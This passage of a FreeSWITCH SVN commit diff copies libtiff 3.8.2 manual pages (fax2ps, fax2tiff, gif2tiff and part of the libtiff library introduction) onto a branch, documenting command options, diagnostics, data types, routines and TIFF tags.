+the raster bitmap image directly; see
+.IR tiff2ps (1).
+.SH OPTIONS
+.TP 10
+.BI \-p " number"
+Print only the indicated page.
+Multiple pages may be printed by specifying
+this option more than once.
+.TP 10
+.BI \-x " resolution"
+Use
+.I resolution
+as the horizontal resolution, in dots/inch, of the image data.
+By default this value is taken from the file.
+.TP 10
+.BI \-y " resolution"
+Use
+.I resolution
+as the vertical resolution, in lines/inch, of the image data.
+By default this value is taken from the file.
+.TP 10
+.B \-S
+Scale each page of image data to fill the output page dimensions.
+By default images are presented according to the dimension
+information recorded in the 
+.SM TIFF
+file.
+.TP 10
+.BI \-W " width"
+Use
+.I width
+as the width, in inches, of the output page.
+.TP 10
+.BI \-H " height"
+Use
+.I height
+as the height, in inches, of the output page.
+.SH DIAGNOSTICS
+Some messages about malformed 
+.SM TIFF
+images come from the
+.SM TIFF
+library.
+.PP
+Various messages about badly formatted facsimile images
+may be generated due to transmission errors in received
+facsimile.
+.I fax2ps
+attempts to recover from such data errors by resynchronizing
+decoding at the end of the current scanline.
+This can result in long horizontal black lines in the resultant
+\*(Ps image.
+.SH NOTES
+If the destination printer supports \*(Ps Level II then
+it is always faster to just send the encoded bitmap generated
+by the
+.BR tiff2ps (1)
+program.
+.SH BUGS
+.I fax2ps
+should probably figure out when it is doing a poor
+job of compressing the output and just generate 
+\*(Ps to image the bitmap raster instead.
+.SH "SEE ALSO"
+.BR tiff2ps (1),
+.BR libtiff (3)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/fax2tiff.1

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/fax2tiff.1 (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/fax2tiff.1) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/fax2tiff.1	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/fax2tiff.1	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,286 @@
+.\" $Id: fax2tiff.1,v 1.6 2005/11/02 11:07:19 dron Exp $
+.\"
+.\" Copyright (c) 1990-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH FAX2TIFF 1 "November 2, 2005" "libtiff"
+.SH NAME
+fax2tiff \- create a
+.SM TIFF
+Class F fax file from raw fax data
+.SH SYNOPSIS
+.B fax2tiff
+[
+.I options
+] [
+.B \-o
+.I output.tif
+]
+.I input.raw
+.SH DESCRIPTION
+.I Fax2tiff
+creates a
+.SM TIFF
+file containing 
+.SM CCITT
+Group 3 or Group 4 encoded data from one or more files containing ``raw''
+Group 3 or Group 4 encoded data (typically obtained directly from a fax modem).
+By default, each row of data in the resultant
+.SM TIFF
+file is 1-dimensionally encoded and
+padded or truncated to 1728 pixels, as needed.
+The resultant image is a set of low resolution (98 lines/inch)
+or medium resolution (196 lines/inch)
+pages, each of which is a single strip of data.
+The generated file conforms to the
+.SM TIFF
+Class F (\c
+.SM FAX\c
+) specification for storing facsimile data.
+This means, in particular, that each page of the data does
+.B not
+include the trailing 
+.I "return to control"
+(\c
+.SM RTC\c
+) code; as required
+for transmission by the
+.SM CCITT
+Group 3 specifications.
+The old, ``classic'', format is created if the
+.B \-c
+option is used.
+(The Class F format can also be requested with the
+.B \-f
+option.)
+.PP
+The default name of the output image is
+.IR fax.tif ;
+this can be changed with the
+.B \-o
+option.
+Each input file is assumed to be a separate page of facsimile data
+from the same document.
+The order in which input files are specified on the command
+line is the order in which the resultant pages appear in the
+output file.
+.SH OPTIONS
+Options that affect the interpretation of input data are:
+.TP
+.B \-3
+Assume input data is
+.SM CCITT
+Group 3 encoded (default).
+.TP
+.B \-4
+Assume input data is
+.SM CCITT
+Group 4 encoded.
+.TP
+.B \-U
+Assume input data is uncompressed (Group 3 or Group 4).
+.TP
+.B \-1
+Assume input data is encoded with the 1-dimensional version of the
+.SM CCITT
+Group 3 Huffman encoding algorithm (default).
+.TP
+.B \-2
+Assume input data is 2-dimensional version of the
+.SM CCITT
+Group 3 Huffman encoding algorithm.
+.TP
+.B \-P
+Assume input data is
+.B not
+EOL-aligned (default). This option has effect with Group 3 encoded input only.
+.TP
+.B \-A
+Assume input data is EOL-aligned. This option has effect with Group 3
+encoded input only.
+.TP
+.B \-M
+Treat input data as having bits filled from most significant bit (\c
+.SM MSB\c
+) to most least bit (\c
+.SM LSB\c
+).
+.TP
+.B \-L
+Treat input data as having bits filled from least significant bit (\c
+.SM LSB\c
+) to most significant bit (\c
+.SM MSB\c
+) (default).
+.TP
+.B \-B
+Assume input data was encoded with black as 0 and white as 1.
+.TP
+.B \-W
+Assume input data was encoded with black as 1 and white as 0 (default).
+.TP
+.B \-R
+Specify the vertical resolution, in lines/inch, of the input images.
+By default input are assumed to have a vertical resolution of 196 lines/inch.
+If images are low resolution facsimile, a value of 98 lines/inch should
+be specified.
+.TP
+.B \-X
+Specify the width, in pixels, of the input images.
+By default input are assumed to have a width of 1728 pixels.
+.PP
+Options that affect the output file format are:
+.TP
+.B \-o
+Specify the name of the output file.
+.TP
+.B \-7
+Force output to be compressed with the
+.SM CCITT
+Group 3 Huffman encoding algorithm (default).
+.TP
+.B \-8
+Force output to be compressed with the
+.SM CCITT
+Group 4 Huffman encoding.
+.TP
+.B \-u
+Force output to be uncompressed (Group 3 or Group 4).
+.TP
+.B \-5
+Force output to be encoded with the 1-dimensional version of the
+.SM CCITT
+Group 3 Huffman encoding algorithm.
+.TP
+.B \-6
+Force output to be encoded with the 2-dimensional version of the
+.SM CCITT
+Group 3 Huffman encoding algorithm (default).
+.TP
+.B \-a
+Force the last bit of each
+.I "End Of Line"
+(\c
+.SM EOL\c
+) code to land on a byte boundary (default). This ``zero padding'' will
+be reflected in the contents of the
+.I Group3Options
+tag of the resultant
+.SM TIFF
+file. This option has effect with Group 3 encoded output only.
+.TP
+.B \-p
+Do not EOL-align output. This option has effect with Group 3 encoded
+output only.
+.TP
+.B \-c
+Generate "classic" Group 3 TIFF format.
+.TP
+.B \-f
+Generate TIFF Class F (TIFF/F) format (default).
+.TP
+.B \-m
+Force output data to have bits filled from most significant bit (\c
+.SM MSB\c
+) to most least bit (\c
+.SM LSB\c
+).
+.TP
+.B \-l
+Force  output data to have bits filled from least significant bit (\c
+.SM LSB\c
+) to most significant bit (\c
+.SM MSB\c
+) (default).
+.TP
+.B \-r
+Specify the number of rows (scanlines) in each strip of data
+written to the output file.
+By default (or when value
+.B 0
+is specified),
+.I tiffcp
+attempts to set the rows/strip
+that no more than 8 kilobytes of data appear in a strip (with except of G3/G4
+compression schemes). If you specify special value
+.B -1
+it will results in infinite number of the rows per strip. The entire image
+will be the one strip in that case. This is default in case of G3/G4 output
+compression schemes.
+.TP
+.B \-s
+Stretch the input image vertically by writing each input row of
+data twice to the output file.
+.TP
+.B \-v
+Force
+.I fax2tiff
+to print the number of rows of data it retrieved from the input file.
+.TP
+.B \-z
+Force output to be compressed with the LZW encoding.
+.SH DIAGNOSTICS
+The following warnings and errors come from the decoding
+routines in the library.
+.PP
+.BR "Warning, %s: Premature EOL at scanline %d (x %d).\en" .
+The input data had a row that was shorter than the expected width.
+The row is padded with white.
+.PP
+.BR "%s: Premature EOF at scanline %d (x %d).\en" .
+The decoder ran out of data in the middle of a scanline.
+The resultant row is padded with white.
+.PP
+.BR "%s: Bad code word at row %d, x %d\en" .
+An invalid Group 3 
+.I code
+was encountered while decoding the input file. 
+The row number and horizontal position is given.
+The remainder of the input row is discarded, while
+the corresponding output row is padded with white.
+.PP
+.BR "%s: Bad 2D code word at scanline %d.\en" .
+An invalid Group 4 or 2D Group 3
+.I code
+was encountered while decoding the input file. 
+The row number and horizontal position is given.
+The remainder of the input row is discarded, while
+the corresponding output row is padded with white.
+.SH BUGS
+Input data are assumed to have a a ``top left'' orientation;
+it should be possible to override this assumption
+from the command line.
+.SH "SEE ALSO"
+.BR "\s-1CCITT\s+1 Recommendation T.4"
+(Standardization of Group 3 Facsimile Apparatus for Document Transmission).
+.PP
+.BR "The Spirit of TIFF Class F",
+an appendix to the TIFF 5.0 specification prepared by Cygnet Technologies.
+.PP
+.BR tiffinfo (1),
+.BR tiffdither (1),
+.BR tiffgt (1),
+.BR libtiff (3)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/gif2tiff.1

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/gif2tiff.1 (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/gif2tiff.1) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/gif2tiff.1	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/gif2tiff.1	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,81 @@
+.\" $Id: gif2tiff.1,v 1.3 2005/11/02 11:07:19 dron Exp $
+.\"
+.\" Copyright (c) 1991-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH GIF2TIFF 1 "November 2, 2005" "libtiff"
+.SH NAME
+gif2tiff \- create a
+.SM TIFF
+file from a GIF87 format image file
+.SH SYNOPSIS
+.B gif2tiff
+[
+.I options
+]
+.I input.gif
+.I output.tif
+.SH DESCRIPTION
+.I Gif2tiff
+converts a file in the GIF87 format to
+.SM TIFF.
+The
+.SM TIFF
+image is created as a palette image, with samples
+compressed with the Lempel-Ziv & Welch algorithm (\c
+.IR Compression =5).
+These characteristics can overridden, or explicitly specified
+with the options described below.
+.SH OPTIONS
+.TP
+.B \-c
+Specify a compression scheme to use when writing image data:
+.B "\-c none"
+for no compression,
+.B "-c packbits"
+for the PackBits compression algorithm,
+.B "-c zip"
+for the Deflate compression algorithm,
+and
+.B "\-c lzw"
+for Lempel-Ziv & Welch (the default).
+.TP
+.B \-r
+Write data with a specified number of rows per strip;
+by default the number of rows/strip is selected so that each strip
+is approximately 8 kilobytes.
+.SH NOTES
+The program is based on Paul Haeberli's
+.I fromgif
+program which, in turn, is based on Marcel J.E. Mol's GIF reader.
+.SH BUGS
+Should have more options to control output format.
+.SH "SEE ALSO"
+.BR pal2rgb (1),
+.BR tiffinfo (1),
+.BR tiffcp (1),
+.BR tiffmedian (1),
+.BR libtiff (3)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/libtiff.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/libtiff.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/libtiff.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/libtiff.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/libtiff.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,536 @@
+.\" $Id: libtiff.3tiff,v 1.3 2005/11/02 11:07:19 dron Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH INTRO 3TIFF "November 2, 2005" "libtiff"
+.SH NAME
+libtiff \- introduction to
+.IR libtiff ,
+a library for reading and writing
+.SM TIFF
+files
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+cc file.c
+.B -ltiff
+.SH DESCRIPTION
+.I libtiff
+is a library for reading and writing data files encoded with the
+.I "Tag Image File"
+format, Revision 6.0 (or revision 5.0 or revision 4.0). This file format is
+suitable for archiving multi-color and monochromatic image data.
+.PP
+The library supports several compression algorithms, as indicated by the
+.I Compression
+field, including:
+no compression (1),
+.SM CCITT
+1D Huffman compression (2),
+.SM CCITT
+Group 3 Facsimile compression (3),
+.SM CCITT
+Group 4 Facsimile compression (4),
+Lempel-Ziv & Welch compression (5),
+baseline JPEG compression (7),
+word-aligned 1D Huffman compression (32771),
+and
+PackBits compression (32773).
+In addition, several nonstandard compression algorithms are supported: the
+4-bit compression algorithm used by the
+.I ThunderScan
+program (32809) (decompression only), NeXT's 2-bit compression algorithm
+(32766) (decompression only), an experimental LZ-style algorithm known as
+Deflate (32946), and an experimental CIE LogLuv compression scheme designed
+for images with high dynamic range (32845 for LogL and 32845 for LogLuv).
+Directory information may be in either little- or big-endian byte order\-byte
+swapping is automatically done by the library. Data bit ordering may be either
+Most Significant Bit (\c
+.SM MSB\c
+) to Least Significant Bit (\c
+.SM LSB\c
+) or
+.SM LSB
+to
+.SM MSB.
+Finally, the library does not support files in which the
+.IR BitsPerSample ,
+.IR Compression ,
+.IR MinSampleValue ,
+or
+.IR MaxSampleValue
+fields are defined differently on a per-sample basis
+(in Rev. 6.0 the
+.I Compression
+tag is not defined on a per-sample basis, so this is immaterial).
+.SH "DATA TYPES"
+The library makes extensive use of C typedefs to promote portability.
+Two sets of typedefs are used, one for communication with clients
+of the library and one for internal data structures and parsing of the
+.SM TIFF
+format.
+The following typedefs are exposed to users either through function
+definitions or through parameters passed through the varargs interfaces.
+.in +.5i
+.sp 5p
+.ta +\w'typedef unsigned <\fIthing\fP> uint32;    'u
+.nf
+typedef unsigned short uint16;	16-bit unsigned integer
+typedef unsigned <\fIthing\fP> uint32;	32-bit unsigned integer
+.sp 5p
+typedef unsigned int ttag_t;	directory tag
+typedef uint16 tdir_t;	directory index
+typedef uint16 tsample_t;	sample number
+typedef uint32 tstrip_t;	strip number
+typedef uint32 ttile_t;	tile number
+typedef int32 tsize_t;	i/o size in bytes
+typedef void* tdata_t;	image data ref
+typedef void* thandle_t;	client data handle
+typedef int32 toff_t;	file offset
+.fi
+.sp 5p
+.in -.5i
+Note that
+.IR tstrip_t ,
+.IR ttile_t ,
+and
+.I tsize_t
+are constrained to be no more than 32-bit quantities by 32-bit fields they are
+stored in in the
+.SM TIFF
+image.
+Likewise
+.I tsample_t
+is limited by the 16-bit field used to store the
+.I SamplesPerPixel
+tag.
+.I tdir_t
+constrains the maximum number of
+.SM IFDs
+that may appear in an image and may be an arbitrary size (w/o penalty). 
+.I ttag_t
+must be either int, unsigned int, pointer, or double because the library uses
+a varargs interface and
+.SM "ANSI C"
+restricts the type of the parameter before an ellipsis to be a promoted type.
+.I toff_t
+is defined as int32 because TIFF file offsets are (unsigned) 32-bit
+quantities. A signed value is used because some interfaces return \-1 on
+error. Finally, note that user-specified data references are passed as opaque
+handles and only cast at the lowest layers where their type is presumed.
+.SH "LIST OF ROUTINES"
+The following routines are part of the library. Consult specific manual pages
+for details on their operation; on most systems doing ``man function-name''
+will work.
+.sp
+.nf
+.ta \w'TIFFCheckpointDirectory'u+2n
+\fIName\fP	\fIDescription\fP
+.sp 5p
+TIFFCheckpointDirectory	writes the current state of the directory
+TIFFCheckTile		very x,y,z,sample is within image
+TIFFCIELabToRGBInit	initialize CIE L*a*b* 1976 to RGB conversion state
+TIFFCIELabToXYZ		perform CIE L*a*b* 1976 to CIE XYZ conversion
+TIFFClientOpen		open a file for reading or writing
+TIFFClose		close an open file
+TIFFComputeStrip	return strip containing y,sample
+TIFFComputeTile		return tile containing x,y,z,sample
+TIFFCurrentDirectory	return index of current directory
+TIFFCurrentRow		return index of current scanline
+TIFFCurrentStrip	return index of current strip
+TIFFCurrentTile		return index of current tile
+TIFFDataWidth 		return the size of TIFF data types
+TIFFError		library error handler
+TIFFFdOpen		open a file for reading or writing
+TIFFFileName		return name of open file
+TIFFFileno		return open file descriptor
+TIFFFindCODEC		find standard codec for the specific scheme
+TIFFFlush		flush all pending writes
+TIFFFlushData		flush pending data writes
+TIFFGetBitRevTable	return bit reversal table
+TIFFGetField		return tag value in current directory
+TIFFGetFieldDefaulted	return tag value in current directory
+TIFFGetMode		return open file mode
+TIFFGetVersion		return library version string
+TIFFIsCODECConfigured	check, whether we have working codec
+TIFFIsMSB2LSB		return true if image data is being returned
+			with bit 0 as the most significant bit 
+TIFFIsTiled		return true if image data is tiled
+TIFFIsByteSwapped	return true if image data is byte-swapped
+TIFFNumberOfStrips	return number of strips in an image
+TIFFNumberOfTiles	return number of tiles in an image
+TIFFOpen		open a file for reading or writing
+TIFFPrintDirectory	print description of the current directory
+TIFFReadBufferSetup	specify i/o buffer for reading
+TIFFReadDirectory	read the next directory
+TIFFReadEncodedStrip	read and decode a strip of data
+TIFFReadEncodedTile	read and decode a tile of data
+TIFFReadRawStrip	read a raw strip of data
+TIFFReadRawTile		read a raw tile of data
+TIFFReadRGBAImage	read an image into a fixed format raster
+TIFFReadScanline	read and decode a row of data
+TIFFReadTile		read and decode a tile of data
+TIFFRegisterCODEC	override standard codec for the specific scheme
+TIFFReverseBits		reverse bits in an array of bytes
+TIFFRGBAImageBegin	setup decoder state for TIFFRGBAImageGet
+TIFFRGBAImageEnd	release TIFFRGBAImage decoder state
+TIFFRGBAImageGet	read and decode an image
+TIFFRGBAImageOK		is image readable by TIFFRGBAImageGet
+TIFFScanlineSize	return size of a scanline
+TIFFSetDirectory	set the current directory
+TIFFSetSubDirectory	set the current directory
+TIFFSetErrorHandler	set error handler function
+TIFFSetField		set a tag's value in the current directory
+TIFFSetWarningHandler	set warning handler function
+TIFFStripSize		returns size of a strip
+TIFFRawStripSize	returns the number of bytes in a raw strip
+TIFFSwabShort		swap bytes of short
+TIFFSwabLong		swap bytes of long
+TIFFSwabArrayOfShort	swap bytes of an array of shorts
+TIFFSwabArrayOfLong	swap bytes of an array of longs
+TIFFTileRowSize		return size of a row in a tile
+TIFFTileSize		return size of a tile
+TIFFUnRegisterCODEC	unregisters the codec
+TIFFVGetField		return tag value in current directory
+TIFFVGetFieldDefaulted	return tag value in current directory
+TIFFVSetField		set a tag's value in the current directory
+TIFFVStripSize		returns the number of bytes in a strip
+TIFFWarning		library warning handler
+TIFFWriteDirectory	write the current directory
+TIFFWriteEncodedStrip	compress and write a strip of data
+TIFFWriteEncodedTile	compress and write a tile of data
+TIFFWriteRawStrip	write a raw strip of data
+TIFFWriteRawTile	write a raw tile of data
+TIFFWriteScanline	write a scanline of data
+TIFFWriteTile		compress and write a tile of data
+TIFFXYZToRGB		perform CIE XYZ to RGB conversion
+TIFFYCbCrToRGBInit	initialize YCbCr to RGB conversion state
+TIFFYCbCrtoRGB		perform YCbCr to RGB conversion
+.sp
+Auxiliary functions:
+_TIFFfree		free memory buffer
+_TIFFmalloc		dynamically allocate memory buffer
+_TIFFmemcmp		compare contents of the memory buffers
+_TIFFmemcpy		copy contents of the one buffer to another
+_TIFFmemset		fill memory buffer with a constant byte
+_TIFFrealloc		dynamically reallocate memory buffer
+
+.fi
+.SH "TAG USAGE"
+The table below lists the
+.SM TIFF
+tags that are recognized and handled by the library.
+If no use is indicated in the table, then the library
+reads and writes the tag, but does not use it internally.
+Note that some tags are meaningful only when a particular
+compression scheme is being used; e.g.
+.I Group3Options
+is only useful if 
+.I Compression
+is set to
+.SM CCITT
+Group 3 encoding.
+Tags of this sort are considered
+.I codec-specific
+tags and the library does not recognize them except when the
+.I Compression
+tag has been previously set to the relevant compression scheme.
+.sp
+.nf
+.ta \w'TIFFTAG_JPEGTABLESMODE'u+2n +\w'Value'u+2n +\w'R/W'u+2n
+\fITag Name\fP	\fIValue\fP	\fIR/W\fP	\fILibrary Use/Notes\fP
+.sp 5p
+.nf
+Artist	315	R/W
+BadFaxLines	326	R/W
+BitsPerSample	258	R/W	lots
+CellLength	265		parsed but ignored
+CellWidth	264		parsed but ignored
+CleanFaxData	327	R/W
+ColorMap	320	R/W
+ColorResponseUnit	300		parsed but ignored
+Compression	259	R/W	choosing codec
+ConsecutiveBadFaxLines	328	R/W
+Copyright       33432   R/W
+DataType	32996	R	obsoleted by SampleFormat tag
+DateTime	306	R/W
+DocumentName	269	R/W
+DotRange	336	R/W
+ExtraSamples	338	R/W	lots
+FaxRecvParams	34908	R/W
+FaxSubAddress	34909	R/W
+FaxRecvTime	34910	R/W
+FillOrder	266	R/W	control bit order
+FreeByteCounts	289		parsed but ignored
+FreeOffsets	288		parsed but ignored
+GrayResponseCurve	291		parsed but ignored
+GrayResponseUnit	290		parsed but ignored
+Group3Options	292	R/W	used by Group 3 codec
+Group4Options	293	R/W
+HostComputer	316	R/W
+ImageDepth	32997	R/W	tile/strip calculations
+ImageDescription 	270	R/W
+ImageLength	257	R/W	lots
+ImageWidth	256	R/W	lots
+InkNames	333	R/W
+InkSet	332	R/W
+JPEGTables	347	R/W	used by JPEG codec
+Make	271	R/W
+Matteing	32995	R	obsoleted by ExtraSamples tag
+MaxSampleValue	281	R/W
+MinSampleValue	280	R/W
+Model	272	R/W
+NewSubFileType	254	R/W	called SubFileType in spec
+NumberOfInks	334	R/W
+Orientation	274	R/W
+PageName	285	R/W
+PageNumber	297	R/W
+PhotometricInterpretation	262	R/W	used by Group 3 and JPEG codecs
+PlanarConfiguration	284	R/W	data i/o
+Predictor	317	R/W	used by LZW and Deflate codecs
+PrimaryChromacities	319	R/W
+ReferenceBlackWhite	532	R/W
+ResolutionUnit	296	R/W	used by Group 3 codec
+RowsPerStrip	278	R/W	data i/o
+SampleFormat	339	R/W
+SamplesPerPixel	277	R/W	lots
+SMinSampleValue	340	R/W
+SMaxSampleValue	341	R/W
+Software	305	R/W
+StoNits	37439	R/W
+StripByteCounts	279	R/W	data i/o
+StripOffsets	273	R/W	data i/o
+SubFileType	255	R/W	called OSubFileType in spec
+TargetPrinter	337	R/W
+Thresholding	263	R/W	
+TileByteCounts	324	R/W	data i/o
+TileDepth	32998	R/W	tile/strip calculations
+TileLength	323	R/W	data i/o
+TileOffsets	324	R/W	data i/o
+TileWidth	322	R/W	data i/o
+TransferFunction	301	R/W
+WhitePoint	318	R/W
+XPosition	286	R/W
+XResolution	282	R/W
+YCbCrCoefficients	529	R/W	used by TIFFRGBAImage support
+YCbCrPositioning	531	R/W	tile/strip size calulcations
+YCbCrSubsampling	530	R/W
+YPosition	286	R/W
+YResolution	283	R/W	used by Group 3 codec
+.SH "PSEUDO TAGS"
+In addition to the normal
+.SM TIFF
+tags the library supports a collection of 
+tags whose values lie in a range outside the valid range of 
+.SM TIFF
+tags.
+These tags are termed
+.I pseud-tags
+and are used to control various codec-specific functions within the library.
+The table below summarizes the defined pseudo-tags.
+.sp
+.nf
+.ta \w'TIFFTAG_JPEGTABLESMODE'u+2n +\w'Codec'u+2n +\w'R/W'u+2n
+\fITag Name\fP	\fICodec\fP	\fIR/W\fP	\fILibrary Use/Notes\fP
+.sp 5p
+.nf
+TIFFTAG_FAXMODE	G3	R/W	general codec operation
+TIFFTAG_FAXFILLFUNC	G3/G4	R/W	bitmap fill function
+TIFFTAG_JPEGQUALITY	JPEG	R/W	compression quality control
+TIFFTAG_JPEGCOLORMODE	JPEG	R/W	control colorspace conversions
+TIFFTAG_JPEGTABLESMODE	JPEG	R/W	control contents of \fIJPEGTables\fP tag
+TIFFTAG_ZIPQUALITY	Deflate	R/W	compression quality level
+TIFFTAG_PIXARLOGDATAFMT	PixarLog	R/W	user data format
+TIFFTAG_PIXARLOGQUALITY	PixarLog	R/W	compression quality level
+TIFFTAG_SGILOGDATAFMT	SGILog	R/W	user data format
+.fi
+.TP
+.B TIFFTAG_FAXMODE
+Control the operation of the Group 3 codec.
+Possible values (independent bits that can be combined by
+or'ing them together) are:
+FAXMODE_CLASSIC
+(enable old-style format in which the
+.SM RTC
+is written at the end of the last strip),
+FAXMODE_NORTC
+(opposite of 
+FAXMODE_CLASSIC;
+also called
+FAXMODE_CLASSF),
+FAXMODE_NOEOL
+(do not write 
+.SM EOL
+codes at the start of each row of data),
+FAXMODE_BYTEALIGN
+(align each encoded row to an 8-bit boundary),
+FAXMODE_WORDALIGN
+(align each encoded row to an 16-bit boundary),
+The default value is dependent on the compression scheme; this
+pseudo-tag is used by the various G3 and G4 codecs to share code.
+.TP
+.B TIFFTAG_FAXFILLFUNC
+Control the function used to convert arrays of black and white
+runs to packed bit arrays.
+This hook can be used to image decoded scanlines in multi-bit
+depth rasters (e.g. for display in colormap mode)
+or for other purposes.
+The default value is a pointer to a builtin function that images
+packed bilevel data.
+.TP
+.B TIFFTAG_IPTCNEWSPHOTO
+Tag contaings image metadata per the IPTC newsphoto spec: Headline, 
+captioning, credit, etc... Used by most wire services. 
+.TP
+.B TIFFTAG_PHOTOSHOP
+Tag contains Photoshop captioning information and metadata. Photoshop 
+uses in parallel and redundantly alongside IPTCNEWSPHOTO information. 
+.TP
+.B TIFFTAG_JPEGQUALITY
+Control the compression quality level used in the baseline algorithm.
+Note that quality levels are in the range 0-100 with a default value of 75.
+.TP
+.B TIFFTAG_JPEGCOLORMODE
+Control whether or not conversion is done between
+RGB and YCbCr colorspaces.
+Possible values are:
+JPEGCOLORMODE_RAW
+(do not convert), and
+JPEGCOLORMODE_RGB
+(convert to/from RGB)
+The default value is JPEGCOLORMODE_RAW.
+.TP
+.B TIFFTAG_JPEGTABLESMODE
+Control the information written in the 
+.I JPEGTables
+tag.
+Possible values (independent bits that can be combined by
+or'ing them together) are:
+JPEGTABLESMODE_QUANT
+(include quantization tables),
+and
+JPEGTABLESMODE_HUFF
+(include Huffman encoding tables).
+The default value is JPEGTABLESMODE_QUANT|JPEGTABLESMODE_HUFF.
+.TP
+.B TIFFTAG_ZIPQUALITY
+Control the compression technique used by the Deflate codec.
+Quality levels are in the range 1-9 with larger numbers yielding better
+compression at the cost of more computation.
+The default quality level is 6 which yields a good time-space tradeoff.
+.TP
+.B TIFFTAG_PIXARLOGDATAFMT
+Control the format of user data passed
+.I in
+to the PixarLog codec when encoding and passed
+.I out
+from when decoding.
+Possible values are:
+PIXARLOGDATAFMT_8BIT
+for 8-bit unsigned pixels,
+PIXARLOGDATAFMT_8BITABGR
+for 8-bit unsigned ABGR-ordered pixels,
+PIXARLOGDATAFMT_11BITLOG
+for 11-bit log-encoded raw data,
+PIXARLOGDATAFMT_12BITPICIO
